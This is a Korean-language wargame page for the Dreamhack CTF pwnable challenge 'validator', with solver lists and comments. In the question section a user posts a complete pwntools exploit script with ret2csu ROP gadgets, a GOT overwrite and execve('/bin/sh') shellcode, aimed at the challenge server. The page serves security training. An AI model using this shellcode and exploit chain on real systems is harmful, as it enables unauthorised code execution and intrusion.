LEVEL 2

validator

pwnable
  • 문제 정보
  • 풀이 69
  • 난이도 투표 41
  • 질문 13
  • 최근 풀이자 709
  • 댓글 50
해당 문제는 Dreamhack CTF Season 1 Round #1 에 출제된 문제입니다.

문제 설명

Description

취약한 인증 프로그램을 익스플로잇해 flag를 획득하세요!

Hint: 서버 환경에 설치된 5.4.0 이전 버전의 커널에서는, NX Bit가 비활성화되어 있는 경우 읽기 권한이 있는 메모리에 실행 권한이 존재합니다. 5.4.0 이후 버전에서는 스택 영역에만 실행 권한이 존재합니다.

Reference

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

cg10036
워게임: 20
출제된 지 23분 만에 풀이 완료!

난이도 투표 41

질문 13

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
rtc를 이용한 exploit 코드가 왜 안되는지 모르겠습니다..
아래는 제 exploit 코드입니다. 이 코드에서 쉘 코드를 memset got에 overwrite한 후 memset의 got으로 ret를 변조할 때 앞에 p64(0)을 7번 붙여주지 않는다면 exploit이 수행되지 않는데, 이유를 모르겠습니다.. 왜 memset got으로만 ret를 변조했을 때는 쉘을 얻지 못하지만 앞에 p64(0)을 7번 붙여준다면 쉘을 얻을 수 있는건가요? from pwn import * context.log_level = 'debug' csu_pop = 0x00000000004006EA #pop rbx pop rbp pop r12 pop r13 pop r14 pop r15 ret csu_mov = 0x00000000004006D0 #r15 -> rdx r14 -> rsi r13 -> rdi call r12+rbx*8 shellcode = b"\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05" #31byte payload = b"DREAMHACK!" arr = [] for i in range(118,0,-1): arr.append(i) payload += bytearray(arr) payload += p64(0) print(len(payload)) p = remote('host1.dreamhack.games', 8893) #p = process('./validator_dist') e = ELF('./validator_dist') bss = e.bss() def make_csu_chain(address, arg1, arg2, arg3): temp = p64(csu_pop) + p64(0) + p64(1) + address + arg1 + arg2 + arg3 + p64(csu_mov) return temp payload += make_csu_chain(p64(e.got['read']), p64(0), p64(e.got['memset']), p64(len(shellcode)+1)) payload += p64(e.got['memset']) #위 코드 대신 이 코드를 사용하면 exploit이 됨 payload += p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(0) + p64(e.got['memset']) p.sendline(payload) sleep(0.5) p.sendline(shellcode) p.interactive() 화면 캡처 2021-06-01 122755.png 위는 csu 코드 및 주소 입니다.
avatar dyp4r

최근 풀이자 709

avatar
aoi
대표 업적 없음
avatar
junan
공부벌레
2계정
대표 업적 없음
avatar
newpwnman
강의 수강: 1
avatar
z3rodae0
대표 업적 없음
cngnlcks
대표 업적 없음
이석희
대표 업적 없음
avatar
Ajirika
대표 업적 없음
LonsomeM
강의 수강: 1
김용래
대표 업적 없음

댓글 50

avatar
junan
공부벌레
깔~끼
avatar
KnightChaser
공부벌레
spicy but finalizing!
포고로모
대표 업적 없음
system hacking basic 로드맵에서 배운 것들을 종합적으로 다뤄볼 수 있는 아주 좋은 문제라고 생각합니다 개추
avatar
is07king
워게임: 1
Funny
avatar
나는재영
대표 업적 없음
아오 시간제한
avatar
UKO
2022 Christmas CTF 운영
야호
avatar
poppo25
대표 업적 없음
어려웠어요
avatar
사용자
CTF Second Place
헷갈릴 수 있었던 요소가 있었지만, 기본적인 ROP를 연습해보기 좋은 문제입니다 :)
avatar
msh1307
대표 업적 없음
: )
hibana
대표 업적 없음
it's so hard. can someone give me a hint. i know how to bypass but dont know how to attack to get shell